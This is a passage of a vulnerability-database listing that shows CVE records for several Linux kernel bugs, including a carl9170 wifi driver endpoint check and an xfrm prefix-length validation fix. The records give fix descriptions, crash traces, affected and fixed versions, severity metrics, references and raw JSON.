        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/67944e6db656bf1e986aa2a359f866f851091f8a"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe34587acc995e7b1d7a5d3444a0736721ec32b3"
        },
        {
          "url": "https://git.kernel.org/stable/c/ac9b6b3e8d1237136c8ebf0fa1ce037dd7e2948f"
        },
        {
          "url": "https://git.kernel.org/stable/c/7eab7b021835ae422c38b968d5cc60e99408fb62"
        },
        {
          "url": "https://git.kernel.org/stable/c/3b031e4fcb2740988143c303f81f69f18ce86325"
        },
        {
          "url": "https://git.kernel.org/stable/c/aed034866a08bb7e6e34d50a5629a4d23fe83703"
        },
        {
          "url": "https://git.kernel.org/stable/c/8fd9b0ce8c26533fe4d5d15ea15bbf7b904b611c"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a3859ea5240365d21f6053ee219bb240d520895"
        }
      ],
      "title": "drm/i915/gt: Reset queue_priority_hint on parking",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26937",
    "datePublished": "2024-05-01T05:17:35.555Z",
    "dateReserved": "2024-02-19T14:20:24.196Z",
    "dateUpdated": "2026-05-12T11:50:45.230Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38567 (GCVE-0-2024-38567)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:35 – Updated: 2026-05-12 11:54

Title

wifi: carl9170: add a proper sanity check for endpoints

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: carl9170: add a proper sanity check for endpoints Syzkaller reports [1] hitting a warning which is caused by presence of a wrong endpoint type at the URB sumbitting stage. While there was a check for a specific 4th endpoint, since it can switch types between bulk and interrupt, other endpoints are trusted implicitly. Similar warning is triggered in a couple of other syzbot issues [2]. Fix the issue by doing a comprehensive check of all endpoints taking into account difference between high- and full-speed configuration. [1] Syzkaller report: ... WARNING: CPU: 0 PID: 4721 at drivers/usb/core/urb.c:504 usb_submit_urb+0xed6/0x1880 drivers/usb/core/urb.c:504 ... Call Trace: <TASK> carl9170_usb_send_rx_irq_urb+0x273/0x340 drivers/net/wireless/ath/carl9170/usb.c:504 carl9170_usb_init_device drivers/net/wireless/ath/carl9170/usb.c:939 [inline] carl9170_usb_firmware_finish drivers/net/wireless/ath/carl9170/usb.c:999 [inline] carl9170_usb_firmware_step2+0x175/0x240 drivers/net/wireless/ath/carl9170/usb.c:1028 request_firmware_work_func+0x130/0x240 drivers/base/firmware_loader/main.c:1107 process_one_work+0x9bf/0x1710 kernel/workqueue.c:2289 worker_thread+0x669/0x1090 kernel/workqueue.c:2436 kthread+0x2e8/0x3a0 kernel/kthread.c:376 ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:308 </TASK> [2] Related syzkaller crashes:

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/eb0f2fc3ff5806cc5…
https://git.kernel.org/stable/c/ac3ed46a8741d464b…
https://git.kernel.org/stable/c/8650725bb0a48b206…
https://git.kernel.org/stable/c/6a9892bf24c906b4d…
https://git.kernel.org/stable/c/265c3cda471c26e0f…
https://git.kernel.org/stable/c/62eb07923f3693d55…
https://git.kernel.org/stable/c/03ddc74bdfd71b84a…
https://git.kernel.org/stable/c/0fa08a55201ab9be7…
https://git.kernel.org/stable/c/b6dd09b3dac89b45d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < eb0f2fc3ff5806cc572cd9055ce7c52a01e97645 (git) Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < ac3ed46a8741d464bc70ebdf7433c1d786cf329d (git) Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < 8650725bb0a48b206d5a8ddad3a7488f9a5985b7 (git) Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < 6a9892bf24c906b4d6b587f8759ca38bff672582 (git) Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < 265c3cda471c26e0f25d0c755da94e1eb15d7a0c (git) Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < 62eb07923f3693d55b0c2d9a5a4f1ad72cb6b8fd (git) Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < 03ddc74bdfd71b84a55c9f2185d8787f258422cd (git) Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < 0fa08a55201ab9be72bacb8ea93cf752d338184f (git) Affected: a84fab3cbfdc427e7d366f1cc844f27b2084c26c , < b6dd09b3dac89b45d1ea3e3bd035a3859c0369a0 (git)
Linux	Linux	Affected: 2.6.37 Unaffected: 0 , < 2.6.37 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:31.173Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eb0f2fc3ff5806cc572cd9055ce7c52a01e97645"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ac3ed46a8741d464bc70ebdf7433c1d786cf329d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8650725bb0a48b206d5a8ddad3a7488f9a5985b7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6a9892bf24c906b4d6b587f8759ca38bff672582"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/265c3cda471c26e0f25d0c755da94e1eb15d7a0c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/62eb07923f3693d55b0c2d9a5a4f1ad72cb6b8fd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/03ddc74bdfd71b84a55c9f2185d8787f258422cd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0fa08a55201ab9be72bacb8ea93cf752d338184f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b6dd09b3dac89b45d1ea3e3bd035a3859c0369a0"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38567",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:14:28.409371Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:56.503Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:42.103Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/carl9170/usb.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "eb0f2fc3ff5806cc572cd9055ce7c52a01e97645",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            },
            {
              "lessThan": "ac3ed46a8741d464bc70ebdf7433c1d786cf329d",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            },
            {
              "lessThan": "8650725bb0a48b206d5a8ddad3a7488f9a5985b7",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            },
            {
              "lessThan": "6a9892bf24c906b4d6b587f8759ca38bff672582",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            },
            {
              "lessThan": "265c3cda471c26e0f25d0c755da94e1eb15d7a0c",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            },
            {
              "lessThan": "62eb07923f3693d55b0c2d9a5a4f1ad72cb6b8fd",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            },
            {
              "lessThan": "03ddc74bdfd71b84a55c9f2185d8787f258422cd",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            },
            {
              "lessThan": "0fa08a55201ab9be72bacb8ea93cf752d338184f",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            },
            {
              "lessThan": "b6dd09b3dac89b45d1ea3e3bd035a3859c0369a0",
              "status": "affected",
              "version": "a84fab3cbfdc427e7d366f1cc844f27b2084c26c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/ath/carl9170/usb.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.37"
            },
            {
              "lessThan": "2.6.37",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.37",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: carl9170: add a proper sanity check for endpoints\n\nSyzkaller reports [1] hitting a warning which is caused by presence\nof a wrong endpoint type at the URB sumbitting stage. While there\nwas a check for a specific 4th endpoint, since it can switch types\nbetween bulk and interrupt, other endpoints are trusted implicitly.\nSimilar warning is triggered in a couple of other syzbot issues [2].\n\nFix the issue by doing a comprehensive check of all endpoints\ntaking into account difference between high- and full-speed\nconfiguration.\n\n[1] Syzkaller report:\n...\nWARNING: CPU: 0 PID: 4721 at drivers/usb/core/urb.c:504 usb_submit_urb+0xed6/0x1880 drivers/usb/core/urb.c:504\n...\nCall Trace:\n \u003cTASK\u003e\n carl9170_usb_send_rx_irq_urb+0x273/0x340 drivers/net/wireless/ath/carl9170/usb.c:504\n carl9170_usb_init_device drivers/net/wireless/ath/carl9170/usb.c:939 [inline]\n carl9170_usb_firmware_finish drivers/net/wireless/ath/carl9170/usb.c:999 [inline]\n carl9170_usb_firmware_step2+0x175/0x240 drivers/net/wireless/ath/carl9170/usb.c:1028\n request_firmware_work_func+0x130/0x240 drivers/base/firmware_loader/main.c:1107\n process_one_work+0x9bf/0x1710 kernel/workqueue.c:2289\n worker_thread+0x669/0x1090 kernel/workqueue.c:2436\n kthread+0x2e8/0x3a0 kernel/kthread.c:376\n ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:308\n \u003c/TASK\u003e\n\n[2] Related syzkaller crashes:"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:12.615Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/eb0f2fc3ff5806cc572cd9055ce7c52a01e97645"
        },
        {
          "url": "https://git.kernel.org/stable/c/ac3ed46a8741d464bc70ebdf7433c1d786cf329d"
        },
        {
          "url": "https://git.kernel.org/stable/c/8650725bb0a48b206d5a8ddad3a7488f9a5985b7"
        },
        {
          "url": "https://git.kernel.org/stable/c/6a9892bf24c906b4d6b587f8759ca38bff672582"
        },
        {
          "url": "https://git.kernel.org/stable/c/265c3cda471c26e0f25d0c755da94e1eb15d7a0c"
        },
        {
          "url": "https://git.kernel.org/stable/c/62eb07923f3693d55b0c2d9a5a4f1ad72cb6b8fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/03ddc74bdfd71b84a55c9f2185d8787f258422cd"
        },
        {
          "url": "https://git.kernel.org/stable/c/0fa08a55201ab9be72bacb8ea93cf752d338184f"
        },
        {
          "url": "https://git.kernel.org/stable/c/b6dd09b3dac89b45d1ea3e3bd035a3859c0369a0"
        }
      ],
      "title": "wifi: carl9170: add a proper sanity check for endpoints",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38567",
    "datePublished": "2024-06-19T13:35:34.254Z",
    "dateReserved": "2024-06-18T19:36:34.923Z",
    "dateUpdated": "2026-05-12T11:54:42.103Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50142 (GCVE-0-2024-50142)

Vulnerability from cvelistv5 – Published: 2024-11-07 09:31 – Updated: 2026-05-12 12:00

Title

xfrm: validate new SA's prefixlen using SA family when sel.family is unset

Summary

In the Linux kernel, the following vulnerability has been resolved: xfrm: validate new SA's prefixlen using SA family when sel.family is unset This expands the validation introduced in commit 07bf7908950a ("xfrm: Validate address prefix lengths in the xfrm selector.") syzbot created an SA with usersa.sel.family = AF_UNSPEC usersa.sel.prefixlen_s = 128 usersa.family = AF_INET Because of the AF_UNSPEC selector, verify_newsa_info doesn't put limits on prefixlen_{s,d}. But then copy_from_user_state sets x->sel.family to usersa.family (AF_INET). Do the same conversion in verify_newsa_info before validating prefixlen_{s,d}, since that's how prefixlen is going to be used later on.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f31398570acf0f080…
https://git.kernel.org/stable/c/401ad99a5ae7180dd…
https://git.kernel.org/stable/c/8df5cd51fd70c33aa…
https://git.kernel.org/stable/c/2d08a6c31c65f23db…
https://git.kernel.org/stable/c/bce1afaa212ec380b…
https://git.kernel.org/stable/c/7d9868180bd1e4cf3…
https://git.kernel.org/stable/c/e68dd80ba498265d2…
https://git.kernel.org/stable/c/3f0ab59e6537c6a8f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f31398570acf0f0804c644006f7bfa9067106b0a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 401ad99a5ae7180dd9449eac104cb755f442e7f3 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 8df5cd51fd70c33aa1776e5cbcd82b0a86649d73 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2d08a6c31c65f23db71a5385ee9cf9d8f9a67a71 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < bce1afaa212ec380bf971614f70909a27882b862 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7d9868180bd1e4cf37e7c5067362658971162366 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e68dd80ba498265d2266b12dc3459164f4ff0c4a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3f0ab59e6537c6a8f9e1b355b48f9c05a76e8563 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50142",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:21:04.306564Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:27:14.141Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:26:01.031Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:20.085Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/xfrm/xfrm_user.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f31398570acf0f0804c644006f7bfa9067106b0a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "401ad99a5ae7180dd9449eac104cb755f442e7f3",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "8df5cd51fd70c33aa1776e5cbcd82b0a86649d73",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2d08a6c31c65f23db71a5385ee9cf9d8f9a67a71",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "bce1afaa212ec380bf971614f70909a27882b862",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "7d9868180bd1e4cf37e7c5067362658971162366",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e68dd80ba498265d2266b12dc3459164f4ff0c4a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3f0ab59e6537c6a8f9e1b355b48f9c05a76e8563",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/xfrm/xfrm_user.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: validate new SA\u0027s prefixlen using SA family when sel.family is unset\n\nThis expands the validation introduced in commit 07bf7908950a (\"xfrm:\nValidate address prefix lengths in the xfrm selector.\")\n\nsyzbot created an SA with\n    usersa.sel.family = AF_UNSPEC\n    usersa.sel.prefixlen_s = 128\n    usersa.family = AF_INET\n\nBecause of the AF_UNSPEC selector, verify_newsa_info doesn\u0027t put\nlimits on prefixlen_{s,d}. But then copy_from_user_state sets\nx-\u003esel.family to usersa.family (AF_INET). Do the same conversion in\nverify_newsa_info before validating prefixlen_{s,d}, since that\u0027s how\nprefixlen is going to be used later on."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:46:15.651Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f31398570acf0f0804c644006f7bfa9067106b0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/401ad99a5ae7180dd9449eac104cb755f442e7f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/8df5cd51fd70c33aa1776e5cbcd82b0a86649d73"
        },
        {
          "url": "https://git.kernel.org/stable/c/2d08a6c31c65f23db71a5385ee9cf9d8f9a67a71"
        },
        {
          "url": "https://git.kernel.org/stable/c/bce1afaa212ec380bf971614f70909a27882b862"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d9868180bd1e4cf37e7c5067362658971162366"
        },
        {
          "url": "https://git.kernel.org/stable/c/e68dd80ba498265d2266b12dc3459164f4ff0c4a"
        },
        {
          "url": "https://git.kernel.org/stable/c/3f0ab59e6537c6a8f9e1b355b48f9c05a76e8563"
        }
      ],
      "title": "xfrm: validate new SA\u0027s prefixlen using SA family when sel.family is unset",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50142",
    "datePublished": "2024-11-07T09:31:19.415Z",
